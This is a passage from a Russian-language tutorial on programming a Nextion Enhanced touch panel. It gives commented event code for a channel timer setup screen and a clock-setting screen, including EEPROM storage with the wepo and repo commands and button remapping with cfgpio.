Если не учитывается — 10000 | | *Стартовое смещение* + 32 | Месяц выключения канала. Если не учитывается – 10000 | | *Стартовое смещение* + 36 | Год выключения канала. Если не учитывается -10000 | | *Стартовое смещение* + 40 | Час выключения канала. Если не учитывается -10000 | | *Стартовое смещение* + 44 | Минута выключения канала. Если не учитывается -10000 | | *Стартовое смещение* + 48 | Секунда выключения канала. Если не учитывается -10000 | С главным экраном закончили, перейдём к экрану настройки таймера (***SetTimer ID=1***) ![](https://habrastorage.org/files/285/d92/234/285d922342e743d38c9a951bdd0b069e.PNG) Событие ***Preinitialilize Event*** (вызывается перед инициализацией экрана). ``` cfgpio 0,1,b2 // Кнопка Esc (IO0) привязывается к виртуальной кнопке b2 ( "Активировать/Дезактивировать канал" или "Выход" (удержание 2 сек)) cfgpio 1,1,BYE // Кнопка Enter (IO1) привязывается к виртуальной кнопке BYE ("Включение/Oтключение учёта при срабатывании" выбранного поля) cfgpio 2,1,b0 // Кнопка Right (IO2) привязывается к виртуальной кнопке b0 -"Переход к следующему полю" cfgpio 3,1,BYM // Кнопка Down (IO3) привязывается к виртуальной кнопке BYM -"Отнять единичку у выбраного поля" cfgpio 4,1,BYP // Кнопка Up (IO4) привязывается к виртуальной кнопке BYP -"Добавить единичку к выбраному полю" cfgpio 5,1,b1 // Кнопка Left (IO5) привязывается к виртуальной кнопке b1 -"Переход к предыдущему полю" StAddr.val=sys0-1 // Переносим номер выбранного канала в счёт с 0 StAddr.val=StAddr.val*52 // определяем стартовый адрес выбранного канала в EEPROM repo Enable.val,StAddr.val // В переменную Enable заносим вычитываемую из EEPROM активность канала ``` Здесь мы переопределяем привязку физических кнопок расположенных на Expansion Board под нужды данного экрана, и производим предварительное считывание данных. Событие ***Touch Press Event*** кнопки ***b0*** – «Переход к следующему полю». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Right (IO2)*** на ***Expansion Board***. ``` if(sys1>11) // Если активно поле 12 (Секунды уставки отключения) { sys1=1 // Активируем поле 1 (День уставки включения ) }else // Иначе { sys1=sys1+1 // Переходим на следующее поле } ``` Событие ***Touch Press Event*** кнопки ***b1*** – «Переход к предыдущему полю». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Left (IO5)*** на ***Expansion Board***. ``` if(sys1<2) // Если активно поле 1 (День уставки включения ) { sys1=12 // Активируем поле 12 (Секунды уставки отключения) }else // иначе { sys1=sys1-1 // Переходим на предыдущее поле } ``` Событие ***Touch Press Event*** кнопки ***b2*** – «Активировать/Дезактивировать канал» или «Выход» (удержание 2 сек). Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Esc (IO0)*** на ***Expansion Board.*** ``` tm1.en=1 // Запускаем таймер tm1 ``` Здесь мы запускаем вспомогательный таймер. Если удерживать физическую кнопку ***Esc (IO0)*** на ***Expansion Board*** в течение 2 секунд (свойство ***tim*** таймера), то произойдёт сработка таймера (вызов события ***Timer Event*** таймера ***tm1***), если отпустить кнопку раньше, то будет вызвано событие ***Touch Release Event*** кнопки ***b2*** ``` tm1.en=0 // Cбрасываем и останавливаем таймер tm1 if(Enable.val==1) // Если текущее состояние элемента Enable ("Активировать/Дезактивировать канал") включённое { Enable.val=0 // то переводим его в выключенное состояние }else // иначе { Enable.val=1 // переводим его во включенное состояние } ``` Событие ***Timer Event*** таймера ***tm1*** ``` click b11,1 // Имитируем нажатие на виртуальную кнопку b11 ("Выход") ``` Событие ***Touch Press Event*** кнопки ***BYE*** – «Включение/Отключение учёта при срабатывании» выбранного поля. ``` if(sys1==1) // Если выбрано поле 1(День уставки включения) { temp2.val=rtc2 // В качестве значения по умолчанию выбираем текущий день из часов реального времени } if(sys1==2) // Если выбрано поле 2(Месяц уставки включения) { temp2.val=rtc1 // В качестве значения по умолчанию выбираем текущий месяц из часов реального времени } if(sys1==3) // Если выбрано поле 3(Год уставки включения) { temp2.val=rtc0 // В качестве значения по умолчанию выбираем текущий год из часов реального времени } if(sys1==4) // Если выбрано поле 4 (Час уставки включения) { temp2.val=rtc3 // В качестве значения по умолчанию выбираем текущий час из часов реального времени } if(sys1==5) // Если выбрано поле 5 (Минута уставки включения) { temp2.val=rtc4 // В качестве значения по умолчанию выбираем текущую минуту из часов реального времени } if(sys1==6) // Если выбрано поле 6 (Секунда уставки включения) { temp2.val=rtc5 // В качестве значения по умолчанию выбираем текущую секунду из часов реального времени } if(sys1==7) // Если выбрано поле 7 (День уставки выключения) { temp2.val=rtc2 // В качестве значения по умолчанию выбираем текущий день из часов реального времени } if(sys1==8) // Если выбрано поле 8 (Месяц уставки выключения) { temp2.val=rtc1 // В качестве значения по умолчанию выбираем текущий месяц из часов реального времени } if(sys1==9) // Если выбрано поле 9 (Год уставки выключения) { temp2.val=rtc0 // В качестве значения по умолчанию выбираем текущий год из часов реального времени } if(sys1==10)// Если выбрано поле 10 (Час уставки выключения) { temp2.val=rtc3 // В качестве значения по умолчанию выбираем текущий час из часов реального времени } if(sys1==11) // Если выбрано поле 11 (Минута уставки выключения) { temp2.val=rtc4 // В качестве значения по умолчанию выбираем текущую минуту из часов реального времени } if(sys1==12) // Если выбрано поле 12 (Секунда уставки выключения) { temp2.val=rtc5 // В качестве значения по умолчанию выбираем текущую секунду из часов реального времени } temp3.val=sys1*4 // определяем смещение адреса в EEPROM для значения выбраного поля temp.val=StAddr.val+temp3.val// определяем абсолютный адрес в EEPROM для значения выбранного поля repo temp1.val,temp.val // вычитываем значение данного для выбранного поля в переменную temp1 if(temp1.val==10000)//Если поле не учитывается при определении события (значение равно 10000) { temp1.val=temp2.val // заносим в переменную temp1 ранее определённое значение по умолчанию (включаем учитывание поля при определении события) }else // Иначе (Если учитывается при определении события) { temp1.val=10000 // заносим в переменную temp1 значение 10000 (отключаем учитывание поля при определении события) } wepo temp1.val,temp.val//Cохраняем новое значение в EEPROM ``` **Подробнее о командах wepo – запись в EEPROM и repo – чтение из EEPROM (данные команды есть только у панелей линейки Enhanced).** ***wepo*** Синтаксис: ***wepo att,add*** где: ***att***: Значение ***add***: Адрес в EEPROM Пример: ***wepo number.val,10*** Запись значения числовой переменной ***number*** в EEPROM начиная с байта 10. Адреса байтов в EEPROM начинаются с 0. Обратите внимание на наличие пробелов. Обязательный пробел после команды ***wepo*** дальше в тексте команды пробелы не допустимы. ***repo*** Синтаксис: ***repo att,add*** где: ***att***: Куда читать ***add***: Адрес в EEPROM Пример: ***repo number.val,10*** В значение числовой переменной ***number*** запишется прочитанное из EEPROM значение, начиная с байта 10. При чтении числового значения, прочитается 4 байта, начиная с заданного адреса. При чтении текстового значения – количество байт равное значению параметра ***txt\_maxl*** элемента указанного как ***att*** +1 начиная с заданного адреса Обратите внимание на наличие пробелов. Обязательный пробел после команды ***repo*** дальше в тексте команды пробелы не допустимы. Событие ***Touch Press Event*** кнопки ***BYP*** – «Добавить 1 к выбраному полю». ``` if(sys1==1) // Если выбрано поле 1(День уставки включения) { temp2.val=31 // то в переменную temp2 записываем максимальное значение для поля 1 - 31 } if(sys1==2)// Если выбрано поле 2(Месяц уставки включения) { temp2.val=12 // то в переменную temp2 записываем максимальное значение для поля 2 - 12 } if(sys1==3) // Если выбрано поле 3 (Год уставки включения) { temp2.val=9999 // то в переменную temp2 записываем максимальное значение для поля 2 - 9999 } if(sys1==4) // Если выбрано поле 4 (Час уставки включения) { temp2.val=23 // то в переменную temp2 записываем максимальное значение для поля 4 - 23 } if(sys1==5) // Если выбрано поле 5 (Минута уставки включения) { temp2.val=59 // то в переменную temp2 записываем максимальное значение для поля 5 - 59 } if(sys1==6) // Если выбрано поле 6 (Секунда уставки включения) { temp2.val=59 // то в переменную temp2 записываем максимальное значение для поля 6 - 59 } if(sys1==7)// Если выбрано поле 7 (День уставки выключения) { temp2.val=31 // то в переменную temp2 записываем максимальное значение для поля 7 - 31 } if(sys1==8) // Если выбрано поле 8 (Месяц уставки выключения) { temp2.val=12 // то в переменную temp2 записываем максимальное значение для поля 8 - 12 } if(sys1==9) // Если выбрано поле 9 (Год уставки выключения) { temp2.val=9999 // то в переменную temp2 записываем максимальное значение для поля 9 - 9999 } if(sys1==10) // Если выбрано поле 10 (Час уставки выключения) { temp2.val=23 // то в переменную temp2 записываем максимальное значение для поля 10 - 23 } if(sys1==11) // Если выбрано поле 11 (Минута уставки выключения) { temp2.val=59 // то в переменную temp2 записываем максимальное значение для поля 11 - 59 } if(sys1==12) // Если выбрано поле 12 (Секунда уставки выключения) { temp2.val=59 // то в переменную temp2 записываем максимальное значение для поля 12 - 59 } temp3.val=sys1*4 // определяем смещение адреса в EEPROM для значения выбраного поля temp.val=StAddr.val+temp3.val // определяем абсолютный адрес в EEPROM для значения выбраного поля repo temp1.val,temp.val // вычитываем значение данного для выбранного поля в переменную temp1 if(temp1.val!=10000)//Если поле учитывается при определении события (значение не равно 10000) { if(temp1.val!=temp2.val)// если значение уставки не равно ранее определённому максимальному значению { temp1.val=temp1.val+1 // добавляем к значению единицу wepo temp1.val,temp.val // Cохраняем новое значение в EEPROM } } ``` Событие ***Touch Press Event*** кнопки ***BYM*** – «Вычесть 1 из выбраного поля». ``` temp2.val=0 // записываем в переменную temp2 минимальное значение для полей 4, 5, 6,10,11,12 - 0 if(sys1==1)// Если выбрано поле 1(День уставки включения) { temp2.val=1 // то в переменную temp2 записываем минимальное значение для поля 1 - 1 } if(sys1==2)// Если выбрано поле 2(Месяц уставки включения) { temp2.val=1 // то в переменную temp2 записываем минимальное значение для поля 2 - 1 } if(sys1==3)// Если выбрано поле 3(Год уставки включения) { temp2.val=2016 // то в переменную temp2 записываем минимальное значение для поля 3 - 2016 } if(sys1==7) // Если выбрано поле 7(День уставки выключения) { temp2.val=1 // то в переменную temp2 записываем минимальное значение для поля 7 - 1 } if(sys1==8) // Если выбрано поле 8(Месяц уставки выключения) { temp2.val=1 // то в переменную temp2 записываем минимальное значение для поля 8 - 1 } if(sys1==9) // Если выбрано поле 9(Год уставки выключения) { temp2.val=2016 // то в переменную temp2 записываем минимальное значение для поля 9 - 2016 } temp3.val=sys1*4//определяем смещение адреса в EEPROM для значения выбраного поля temp.val=StAddr.val+temp3.val // определяем абсолютный адрес в EEPROM для значения выбраного поля repo temp1.val,temp.val // вычитываем значение данного для выбранного поля в переменную temp1 if(temp1.val!=10000) // Если поле учитывается при определении события (значение не равно 10000) { if(temp1.val!=temp2.val)// если значение уставки не равно ранее определённому минимальному значению { temp1.val=temp1.val-1 // отнимаем от значения единицу wepo temp1.val,temp.val // Cохраняем новое значение в EEPROM } } ``` Событие ***Touch Press Event*** кнопки ***b11*** – «Возврат на главную страницу». ``` wepo Enable.val,StAddr.val// сохраняем в EEPROM значение активности канала sys0=0 // сбрасываем системную переменную sys0 sys1=0 // сбрасываем системную переменную sys1 page 0 // Переходим на главную страницу ``` Событие ***Touch Press Event*** текстового поля ***StartD*** – «День уставки срабатывания». ``` sys1=1 // выбираем поле 1 ``` Для текстовых полей других значений уставок код события ***Touch Press Event*** аналогичен за исключением номера поля. Номера полей значений уставок: ***StartMo*** – 2 («Месяц уставки срабатывания»). ***StartY*** – 3 («Год уставки срабатывания»). ***StartH*** – 4 («Час уставки срабатывания»). ***StartMi*** – 5 («Минута уставки срабатывания»). ***StartS*** – 6 («Секунда уставки срабатывания»). ***StopD*** – 7 («День уставки отключения»). ***StopMo*** – 8 («Месяц уставки отключения „). ***StopY*** – 9 (“Год уставки отключения „). ***StopH*** – 10 (“Час уставки отключения „). ***StopMi*** – 11 (“Минута уставки отключения „). ***StopS*** – 12 (“Сеунда уставки отключения „). На этом экране так же установлен таймер tm0 с периодом срабатывания в 200 миллисекунд. В событии ***Timer Event*** этого таймера происходит обновление значений полей уставок. **Код под спойлером** ``` //Отрисовка поля 1 - (День уставки включения) temp1.val=StAddr.val+4 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10)// Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==1)// и если выбрано поле 1 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StartD.txt="X"// В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==1) // и если выбрано поле 1 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StartD.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 2 - (Месяц уставки включения) temp1.val=StAddr.val+8 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10)// Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==2) // и если выбрано поле 2 { vis BYP,0//скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StartMo.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==2) // и если выбрано поле 2 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StartMo.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 3 - (Год уставки включения) temp1.val=StAddr.val+12 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==3) // и если выбрано поле 3 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StartY.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==3) // и если выбрано поле 3 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StartY.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 4 - (Час уставки включения) temp1.val=StAddr.val+16 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==4) // и если выбрано поле 4 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StartH.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==4) // и если выбрано поле 3 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StartH.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 5 - (Минута уставки включения) temp1.val=StAddr.val+20 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==5) // и если выбрано поле 5 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StartMi.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==5) // и если выбрано поле 5 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StartMi.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 6 - (Секунда уставки включения) temp1.val=StAddr.val+24 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==6) // и если выбрано поле 6 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StartS.txt="X" // В поле отображаем символ "Х" }else//Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==6) // и если выбрано поле 6 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StartS.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 7 - (День уставки выключения) temp1.val=StAddr.val+28// Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==7) // и если выбрано поле 7 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StopD.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==7) // и если выбрано поле 7 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StopD.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 8 - (Месяц уставки выключения) temp1.val=StAddr.val+32 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==8) // и если выбрано поле 8 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StopMo.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==8) // и если выбрано поле 8 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StopMo.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 9 - (Год уставки выключения) temp1.val=StAddr.val+36 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==9) // и если выбрано поле 9 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StopY.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==9) // и если выбрано поле 9 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StopY.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 10 - (Час уставки выключения) temp1.val=StAddr.val+40 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==10) // и если выбрано поле 10 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StopH.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==10) // и если выбрано поле 10 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StopH.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 11 - (Минута уставки выключения) temp1.val=StAddr.val+44 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==11) // и если выбрано поле 11 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StopMi.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==11) // и если выбрано поле 11 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StopMi.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Отрисовка поля 12 - (Секунда уставки выключения) temp1.val=StAddr.val+48 // Oпределяем адрес в EEPROM для значения поля repo temp.val,temp1.val // В переменную temp вычитываем из EEPROM значение для поля cov temp.val,tempStr.txt,0 // преобразуем числовое значение из переменной temp в строчное значение в переменную tempStr if(temp.val<10) // Если значение поля меньше 10 { tempStr1.txt="0"+tempStr.txt // то в строчную переменную tempStr1 заносим строчное значение поля (переменная tempStr) добавив перед ним символ "0" }else // Иначе { tempStr1.txt=tempStr.txt // в строчную переменную tempStr1 заносим только строчное значение поля (переменная tempStr) } if(temp.val==10000) // Если значение поля не учитывается при обработке событий (значение = 10000) { if(sys1==12) // и если выбрано поле 12 { vis BYP,0 // скрываем кнопку "Добавить единицу" vis BYM,0 // скрываем кнопку "Отнять единицу" } StopS.txt="X" // В поле отображаем символ "Х" }else // Иначе (значение поля учитывается при обработке событий (значение не равно 10000)) { if(sys1==12) // и если выбрано поле 12 { vis BYP,1 // показываем кнопку "Добавить единицу" vis BYM,1 // показываем кнопку "Отнять единицу" } StopS.txt=tempStr1.txt // В поле отображаем значение поля из переменной tempStr1 } //Задание цвета полям if(sys1==1) // Если выбрано поле 1 - (День уставки включения) { StartD.pco=63488 // Полю 1 задаём цвет - красный }else // иначе { StartD.pco=65535 // Полю 1 задаём цвет - белый } if(sys1==2) // Если выбрано поле 2 - (Месяц уставки включения) { StartMo.pco=63488 // Полю 2 задаём цвет - красный }else // иначе { StartMo.pco=65535 // Полю 2 задаём цвет - белый } if(sys1==3) // Если выбрано поле 3 - (Год уставки включения) { StartY.pco=63488 // Полю 3 задаём цвет - красный }else // иначе { StartY.pco=65535 // Полю 3 задаём цвет - белый } if(sys1==4) // Если выбрано поле 4 - (Час уставки включения) { StartH.pco=63488 // Полю 4 задаём цвет - красный }else // иначе { StartH.pco=65535 // Полю 4 задаём цвет - белый } if(sys1==5) // Если выбрано поле 5 - (Минута уставки включения) { StartMi.pco=63488 // Полю 5 задаём цвет - красный }else // иначе { StartMi.pco=65535 // Полю 5 задаём цвет - белый } if(sys1==6) // Если выбрано поле 6 - (Секунда уставки включения) { StartS.pco=63488 // Полю 6 задаём цвет - красный }else // иначе { StartS.pco=65535 // Полю 6 задаём цвет - белый } if(sys1==7) // Если выбрано поле 7 - (День уставки выключения) { StopD.pco=63488 // Полю 7 задаём цвет - красный }else // иначе { StopD.pco=65535 // Полю 7 задаём цвет - белый } if(sys1==8) // Если выбрано поле 8 - (Месяц уставки выключения) { StopMo.pco=63488 // Полю 8 задаём цвет - красный }else // иначе { StopMo.pco=65535 // Полю 8 задаём цвет - белый } if(sys1==9) // Если выбрано поле 9 - (Год уставки выключения) { StopY.pco=63488 // Полю 9 задаём цвет - красный }else // иначе { StopY.pco=65535 // Полю 9 задаём цвет - белый } if(sys1==10) // Если выбрано поле 10 - (Час уставки выключения) { StopH.pco=63488 // Полю 10 задаём цвет - красный }else // иначе { StopH.pco=65535 // Полю 10 задаём цвет - белый } if(sys1==11) // Если выбрано поле 11 - (Минута уставки выключения) { StopMi.pco=63488 // Полю 11 задаём цвет - красный }else // иначе { StopMi.pco=65535 // Полю 11 задаём цвет - белый } if(sys1==12) // Если выбрано поле 12 - (Секунда уставки выключения) { StopS.pco=63488 // Полю 12 задаём цвет - красный }else // иначе { StopS.pco=65535 // Полю 12 задаём цвет - белый } ``` **Подробнее о команде vis – изменение видимости элемента** Синтаксис: ***vis obj,state*** где: ***obj***: имя или ID элемента. ***state***: состояние 1- видимый, 0 – не видимый Обратите внимание на наличие пробелов. Обязательный пробел после команды ***vis*** дальше в тексте команды пробелы не допустимы. С экраном настройки канала закончили, переходим на экран настройки текущего времени (***SetCurrentTime ID=2***). ![](https://habrastorage.org/files/b30/e0e/04e/b30e0e04e9544b13a53390ec058e75fd.PNG) Здесь, как и на других экранах в событии ***Preinitialilize Event*** (вызывается перед инициализацией экрана) перепривязываем физические кнопки, к находящимся на этом экране виртуальным кнопкам. ``` cfgpio 0,1,b11 // Кнопка Esc (IO0) привязывается к виртуальной кнопке b1 ("Выход") cfgpio 1,1,b10 // Кнопка Enter (IO1) привязывается к виртуальной кнопке b10 ("сброс секунд в 0") cfgpio 2,1,b14 // Кнопка Right (IO2) привязывается к виртуальной кнопке b14 ("Добавить 1 к значению выбраного полю") cfgpio 3,1,b13 // Кнопка Down (IO3) привязывается к виртуальной кнопке b13 ("Перейти к следующему полю") cfgpio 4,1,b12 // Кнопка Up (IO4) привязывается к виртуальной кнопке b12 ("Перейти к предыдущему полю") cfgpio 5,1,b15 // Кнопка Left (IO5) привязывается к виртуальной кнопке b15 ("Отнять 1 от значения выбраного поля") sel.val=1 // Устанавливаем выбранным поле 1 (День) ``` Событие ***Touch Press Event*** кнопки ***b0*** – «Добавить день к текущему времени». ``` if(rtc2<31)// если значение текущего дня в часах реального времени меньше 31 { rtc2=rtc2+1 // то добавляем к текущему значению день } ``` Событие ***Touch Press Event*** кнопки ***b2*** – «Добавить месяц к текущему времени». ``` if(rtc1<12) // если значение текущего месяца в часах реального времени меньше 12 { rtc1=rtc1+1 // то добавляем к текущему значению ещё месяц } ``` Событие ***Touch Press Event*** кнопки ***b4*** – «Добавить год к текущему времени». ``` rtc0=rtc0+1 // добавляем к текущему значению года в часах реального времени ещё год ``` Событие ***Touch Press Event*** кнопки ***b6*** – «Добавить час к текущему времени». ``` if(rtc3<23) // если значение текущего часа в часах реального времени меньше 23 { rtc3=rtc3+1 // то добавляем к текущему значению ещё час } ``` Событие ***Touch Press Event*** кнопки ***b8*** – «Добавить минуту к текущему времени». ``` if(rtc4<59) // если значение текущей минуты в часах реального времени меньше 59 { 